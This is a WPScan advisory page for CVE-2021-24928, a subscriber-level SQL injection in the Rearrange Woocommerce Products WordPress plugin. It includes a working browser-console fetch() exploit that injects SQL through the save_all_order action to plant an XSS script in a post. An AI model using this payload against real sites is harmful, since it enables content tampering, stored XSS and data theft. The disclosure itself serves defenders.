WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Rearrange Woocommerce Products < 3.0.8 - Subscriber+ SQL Injection

Description

The plugin does not have proper access controls in the save_all_order AJAX action, nor validation and escaping when inserting user data in SQL statement, leading to an SQL injection, and allowing any authenticated user, such as subscriber, to modify arbitrary post content (for example with an XSS payload), as well as exfiltrate any data by copying it to another post.

SQLi was fixed in 3.0.5, proper authorisation and CSRF checks were added in 3.0.8

Proof of Concept

As a subscriber, run the below command in the web developer console of the browser

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"save_all_order","sort_orders[1]":"' THEN 1 END), post_content=FROM_BASE64('PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=') where id=811 -- g"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

This will put an XSS payload (<script>alert(1);</script>) in the post with the ID 811 

Affects Plugins

rearrange-woocommerce-products
Fixed in version 3.0.8

References

CVE
CVE-2021-24928

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
3762a77c-b8c9-428f-877c-bbfd7958e7be

Timeline

Publicly Published

2022-01-05 (about 1 years ago)

Added

2022-01-05 (about 1 years ago)

Last Updated

2022-04-08 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us